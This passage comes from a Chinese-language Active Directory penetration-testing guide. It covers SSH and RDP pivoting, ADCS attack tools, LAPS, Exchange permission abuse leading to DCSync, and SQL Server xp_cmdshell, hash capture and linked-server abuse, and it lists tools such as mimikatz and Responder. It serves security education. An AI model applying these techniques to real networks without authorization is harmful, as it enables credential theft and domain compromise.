`local remote web .----------. .--------. .----- | | SSH Tunnel | | | o .--- ---. ================== .--- ---. .--- /|\ --->| 8080 -> rand | >>----TCP-->>--->> | 22 -> rand |>-TCP-->| 80 / \ '--- ---' ================== '--- ---' '--- | | | | | '----------' '--------' '-----`
SSH本地端口转发
远程端口转发
远程端口转发与本地端口转发正好相反。在这种情况下,您可以让远程计算机能够访问您的计算机可以访问的端口。例如,如果您可以访问web.contoso.local:80中的网页,但远程计算机却无法访问它们,则可以使用以下命令ssh -R 8080:web.contoso.local:80 user@remote.contoso.local将远程计算机的8080端口映射到web.contoso.local的80端口。通过这种方式,连接到远程机器端口8080的人就能够访问该Web服务器了。
`web local remote ----. .----------. .--------. | | | SSH Tunnel | | ---. .--- ---. ============== .--- ---. o 80 |<--TCP-<| rand <- rand | <<--<<-TCP--<< | 22 <- 8080 | <---- /|\ ---' '--- ---' ============== '--- ---' / \ | | | | | ----' '----------' '--------'`
SSH远程端口转发
动态端口转发
最后,通过创建SOCKS代理,动态端口转发允许您与远程机器可达的任何端口进行通信。您可以指定SOCKS代理将要侦听的本地端口,它将通过SSH将所有请求转发到远程计算机,然后转发到目标计算机和端口。例如,您可以通过以下命令ssh-D 8080 user@remote.contoso.local在端口8080上设置一个SOCKS代理。
`web .----- | local remote .--- .----------. .--------. .---->| 80 | | SSH Tunnel | | | '--- .--- ---. ================ .--- ---. | | web:80 | | >---web:80---->> | ---> rand |>-' '----- o ------->| | | ---' /|\ | 8080 -> rand | | 22 | / \ db:3306 | | | ---. db ------->| | >---db:3306--->> | ---> rand |>-. .----- '--- ---' ================ '--- ---' | | | | | | | .--- '----------' '--------' '---->| 3306 '--- | '-----`
SSH动态端口转发
有时,SSH服务器会禁用TCP Forwarding,这样就无法创建SSH隧道了。在这些情况下,您可以使用SaSSHimi创建隧道。
RDP
RDP(Remote Desktop Protocol)是允许您连接到提供图形用户界面的其他机器的协议。它通常在Windows环境中用于连接和管理远程计算机,因为默认情况下Windows系统会提供客户端和服务器。
RDP Windows客户端
通常可以通过检查端口3389/TCP或3389/UDP是否处于开放状态,来检查机器是否使用RDP协议。
`.---- | .-----. .--- | RDP |---------->| 3389 TCP and UDP '-----' '--- | '----`
RDP端口
但是,为了访问该计算机,用户必须是Administrators或Remote Desktop Users本地组的成员。另外,要格外小心,因为Windows中只允许图形会话,所以通过RDP连接可能会注销其他用户。
除了远程管理机器之外,您还可以使用RDP创建一个SOCKS代理,该代理允许通过使用SocksOverRDP或freerdp和RDP2TCP来使用远程机器在网络中进行跳转。
别忘了,当一台机器通过RDP连接时,用户凭据会通过网络发送到目标机器,因此,通过RDP连接的用户很容易遭遇基于lsass进程内存转储的凭据失窃问题。
Microsoft extras
Active Directory是网络生态系统中的核心部分,许多其他Microsoft产品将其用于多种用途。对于渗透测试人员来说,应该留意域中是否安装了下面的Microsoft软件。
ADCS
Active Directory凭据服务(ADCS)是……
这里就不给出具体的定义了,但是对于渗透测试人员来说,强烈建议请阅读以下参考资料:
- https://posts.specterops.io/certified-pre-owned-d95910965cd2
- https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
- https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
- https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
以下是相关工具:
- Certify:请求凭据并审查ADC配置中的弱点。
- ForgeCert:构建自定义/金票来冒充用户。
- Kekeo:就这里来说可用于获取TGT或使用凭据检索NT哈希值。
- Rubeus:就这里来说可用于获取TGT或使用凭据检索NT哈希值。
- ntlmrelayx.py(ExAndroidDev impacket fork):对ADCS Web端点执行NTLM中继攻击。
- PetitPotam:触发NTLM中继攻击。
- PKINITTools:使用凭据和其他Python工具来检索NT哈希值。
- certi.py:Certify的Impacket版本。请求凭据并检查ADC配置。
LAPS
LAPS(Local Administrator Password Solution)是一个管理域计算机本地管理员密码的实用工具。LAPS将本地管理员密码随机化,以避免重用凭据,并定期更改它们。
为此,LAPS将向域的计算机对象添加了两个属性:ms-Mcs-AdmPwd和ms-Mcs-AdmPwdExpirationTime。
属性ms-Mcs-AdmPwd用于存储计算机本地管理员密码,只有在给出显式授予相应权限时才能查看该密码。如果您能够获得本地管理员密码,则可以使用管理员权限连接到计算机(使用NTLM身份验证)。
另一个属性ms-Mcs-AdmPwdExpirationTime可以被任何人(默认情况下)读取,因此,为了识别由LAPS管理的计算机,您可以搜索包含该属性的计算机对象。
Exchange
Exchange是Microsoft开发的邮件服务器,可以安装在Windows服务器中并与Active Directory集成。
安装Exchange后,将在域中创建多个组和ACE。
在2019年2月更新之前,最相关的事情可能是Exchange Windows权限组默认情况下拥有域对象的WriteDacl权限。这意味着,在过时的安装中(肯定存在于野生环境中),由于这些组的成员对ACE具有写权限,所以,他们可以将DS-Replication-Get-Changes和DS-Replication-Get-Changes-All权限授予域中的任何用户,从而允许该帐户执行dcsync攻击,进而得到域用户的凭据。
此外,所有Exchange服务器所属的Exchange Trusted Subsystem组都是Exchange Windows Permissions组的成员。因此,只要攻击者能够攻陷一台Exchange服务器,就能获得破坏整个域所需的权限。
最著名的Exchange权限滥用就是PrivExchange攻击,该攻击滥用Exchange服务器上的漏洞,允许用户强制建立从Exchange服务器到另一台计算机的HTTP身份验证连接。然后,通过执行从HTTP到LDAP的NTLM中继攻击,强制Exchange服务器将DCsync权限授予任意用户帐户。微软已经在2019年2月的更新中发布了针对该漏洞的补丁。
此外,Organization Admins组(也是由Exchange添加的)可以控制Exchange Windows Permissions和Exchange Trusted Subsystem组的成员。除此之外,由于Organization Admins是Exchange服务器中的本地管理员,因此,只要成为该组的成员,就能入侵整个域。
`.--------. | Object | .--WriteDacl-->| domain | | '--------' | | | .-----------------------------. | Group | .------>| Exchange Windows Permission | | '-----------------------------' | ^ | | .-controls---| member | | | | | ^ | | .----------------------------. | | | Group | | '------>| Exchange Trusted Subsystem | ^ '----------------------------' .---------------------. ^ ^ | Group | | | | Organization Admins | | | '---------------------' member member v | | | .---------|----------------|----------. | | | Exchange | | | | | Servers | | | | | | | | | .---. .---. | | | / /| / /| | | | .---. | .---. | | | | | | ' | | ' | | | | |/ | |/ | | | '---' '---' | | | exch1 exch2 | | | ^ ^ | | '--------|----------------|-----------' | | | | '----------------' | | '----->>------admin of------>>-----'`
Exchange的组和权限
SQL Server
Microsoft SQL Server(MSSQL)是由Microsoft创建的数据库管理系统。它通常安装在Windows服务器计算机上,监听TCP端口1433,并且许多Web应用程序将其用作数据库。
由于SQL Server会侦听TCP端口1433,所以,我们可以使用域凭据连接它,因为它使用TDS协议,该协议与NTLM和Kerberos身份验证兼容。
可以使用TDS协议通过TCP或SMB与SQL server进行通信。在使用TCP的情况下,默认端口是1433,但也可以使用动态端口。
.------. .----------. | NTLM | | Kerberos | '------' '----------' | | '------.-------' | | .------'------. .------------ | | | | .-----. .--- | .-->| SMB |-->| 445/TCP | | '-----' '--- | | | | | | .-----. | .--- SQL | TDS |---'-----TCP---->| 1433/TCP '-----' '--- Server | | .------. .--- | SQLR |--------UDP---->| 1434/UDP '------' '--- | '------------
SQL server的端口和协议
当使用动态端口时,将选择随机TCP端口。若要允许远程客户端发现该端口,必须在UDP端口1434启用SQL Server Browser,以等待SQLR(SQL Server Resolution)查询。我们可以使用impacket mssqlinstance.py工具来发现SQL server动态端口。
$ mssqlinstance.py 192.168.100.19 Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Instance 0 ServerName:SRV01 InstanceName:SQLEXPRESS IsClustered:No Version:15.0.2000.5 [*] Instance 1 ServerName:SRV01 InstanceName:MSSQLSERVER IsClustered:No Version:15.0.2000.5 tcp:50377
发给SQL Server Browser的查询
在这里,您可以看到SQL Server使用的端口是50377,现在,您就可以使用SQL Server客户端(如HeidiSQL、SQL Server Management Studio或PowerUpSQL)连接到数据库了。
PS C:\> . .\PowerUpSQL.ps1 PS C:\> Get-SQLQuery -Query "Select @@version" -Instance "srv01,50377" Column1 ------- Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ...
基于动态端口的SQL查询
SQL server的一个重要特点是,如果允许的话,可以通过xp_cmdshell命令来执行其他命令。
有时在配置错误的环境中,即使禁用了xp_cmdshell命令,用户也有足够的权限使用sp_configure指令启用该命令。
此外,xp_dirtree命令可用于访问网络文件(使用UNC路径),或通过使用域计算机帐户向其他计算机发出经过身份验证的请求,以便收集NTLM哈希值进行破解或执行NTLM中继。
SQL注入不在本文的讨论范围内,但是如果您想要更多关于如何在SQL Server或其他数据库中利用SQL注入的信息,可以查看NetSPI、Pentest Monkey或PortSwigger网站提供的详细介绍。
此外,对于攻击者来说,一个令人难以置信的有用特性是SQL Server的链接。SQL Server允许创建与其他数据源的链接,如其他SQL数据库。
有关这些链接的有趣之处在于,虽然它们是由管理员之类的特权用户创建的,但是任何用户都可以使用它们,并且允许以链接创建者的权限在远程机器中执行命令。
`.---. .---. / /| SQL link / /| o .---. | ========================= .---. | /|\ ---unpriv----> | | ' ---------dbadmin------> | | ' / \ | |/ ========================= | |/ '---' '---' db1 db2`
使用dbadmin创建的链接
此外,如果你喜欢通过SQL Server进行跳转,也可以通过使用mssqlproxy将其转换为SOCKS代理。
对于更多滥用SQL服务器的方法,通常可以借助于PowerUpSQL工具包,当然,你应该先查看其维基文档。
Recommended resources
在这篇文章中,提供了许多资源的链接,我们鼓励大家通过它们学习更多的知识。但是,有一些我认为非常好的特殊站点,其中包含大量关于Active Directory的信息:
https://docs.microsoft.com/en-us/openspecs/windows_protocols/MS-WINPROTLP/e36c976a-6263-42a8-b119-7a3cc41ddd2a https://adsecurity.org/ https://blog.harmj0y.net/ https://en.hackndo.com/ https://dirkjanm.io/ https://syfuhs.net/ https://www.labofapenetrationtester.com/ https://www.ired.team/
实际上,Active Directory相关的网站与文章多如牛毛,但上面这些才是我特别相关的,因为描述了许多主题,并且都是专门针对Active Directory的。
除了博客之外,这里我还为您提供了一些面向Active Directory的优秀工具,这些工具不仅非常有用,还可以通过查看其代码来学习各种Active Directory机制和协议。(当然,该清单并没有列出所有的工具,同时文章中也列出了许多其他的工具)。
- mimikatz:可能是攻击Windows和Active Directory方面最著名的工具。它用C语言实现了从Windows计算机检索凭据以及在Active Directory中冒充用户的各种攻击。
- impacket:impacket是用python语言编写的一个工具,它实现文中描述的许多协议,建议大家了解深入了解其工作原理。同时,它还提供了文中介绍的部分攻击示例。
- responder.py:Responder允许您执行大量PitM攻击,滥用Windows解析协议,并提供了许多收集NTLM哈希值的协议服务器。我们建议大家深入了解其工作原理。
- Rubeus:Rubeus是一个C#套件,用于从Windows计算机执行Kerberos攻击。您可以通过它来了解Kerberos的工作原理。
- CrackMapExec:CME是一个python工具。有了它,我们就能轻松完成这里描述的许多不同的攻击。
- BloodHound:BloodHound允许您通过各种不同的LDAP请求和其他请求来映射Active Directory网络。如果要了解有关Active Directory侦察的信息,建议深入考察该工具。
- PowerView:这是一个Powershell工具,通过它可以发送各种Active Directory、LDAP和其他协议方面的查询,以从Active Directory中检索各种信息。
- Empire:在Active Directory机器中部署代理的套件,可用来发动各种攻击。注意,data/module_source目录中提供了许多对Active directory执行侦察和攻击的工具,值得大家花些时间把玩一番。